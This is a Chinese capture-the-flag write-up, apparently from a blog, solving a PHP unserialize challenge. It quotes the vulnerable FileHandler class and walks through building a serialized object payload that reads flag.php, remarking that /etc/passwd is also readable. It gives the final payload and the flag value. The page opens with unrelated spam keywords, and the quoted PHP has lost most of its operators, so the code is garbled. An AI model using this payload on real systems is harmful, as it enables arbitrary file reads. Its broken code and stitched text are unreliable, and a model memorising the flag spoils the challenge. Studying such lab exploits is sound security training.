想做个ktv的网站怎么做,建设一个网站需要多少时间,精品网站,广西钦州住房与城乡建设局网站天命#xff1a;php的序列化题目简直是玄学#xff0c;既不能本地复现#xff0c;也不能求证靶场环境 天命#xff1a;本地php是复现不了反序列化漏洞的#xff0c;都不知道是版本问题还是其他问题 天命#xff1a;这题也是有点奇怪的#xff0c;明明用字符串2也应该是可… 天命php的序列化题目简直是玄学既不能本地复现也不能求证靶场环境 天命本地php是复现不了反序列化漏洞的都不知道是版本问题还是其他问题 天命这题也是有点奇怪的明明用字符串2也应该是可以但偏偏就不行神奇了 进来题目先看到php代码审计是反序列化漏洞
先看进来入口的逻辑判断是不是正常的ascii码字符然后反序列化可以忽略校验都是正常的
// 校验你是不是ascii码里面的合法字符
function is_valid($s) {for($i 0; $i strlen($s); $i)if(!(ord($s[$i]) 32 ord($s[$i]) 125))return false;return true;
}// 接受变量然后校验进行反序列化激活类
if(isset($_GET{str})) {$str (string)$_GET[str];if(is_valid($str)) {$obj unserialize($str); // 反序列化}}
接下来看一下生命周期函数和四大函数
看了一下只有读文件函数是有用的那就要 $op2 或者$op2 才行 // 生命周期函数初始化函数function __construct() {$op 1;$filename /tmp/tmpfile;$content Hello World!;$this-process();}// 关键函数当op等于2时候才进去正确的函数读文件public function process() {if($this-op 1) {$this-write();} else if($this-op 2) {$res $this-read();$this-output($res);} else {$this-output(Bad Hacker!);}}// 这个函数是废的我们要读取文件找flag不是来写东西进文件private function write() {}// 文件包含漏洞的函数能读取所有的文件包括/etc/passwd都能读取private function read() {$res ;if(isset($this-filename)) {$res file_get_contents($this-filename);}return $res;}// 打印出来private function output($s) {echo [Result]: br;echo $s;}
$op 等于整数 2 即可$filename等于 flag.php 即可不需要 fuzz
比赛的现场题目是需要fuzz或者寻找一些配置文件来探索flag文件在哪里的
反正权限贼高能读到 /etc/passwd
class FileHandler {public $op 2;public $filename flag.php;public $content aaa;}$obj new FileHandler();
echo serialize($obj);// 最后生成如下
O:11:FileHandler:3:{s:2:op;i:2;s:8:filename;s:8:flag.php;s:7:content;s:3:aaa;}
需要改动一下
改动1把小写s改成大写S
改动2在op前面增加\00*\00因为私有属性是会自带 * 号需要用\00来截断原理不清楚 奇怪的地方$op是整数2不能是字符串的2很奇怪明明字符串的2也可以啊
改好后最终答案如下
O:11:FileHandler:3:{S:5:\00*\00op;i:2;S:11:\00*\00filename;S:8:flag.php;S:10:\00*\00content;S:3:aaa;}
flag{5f3275d0-e4ee-4faa-b72c-8c129a7c3400}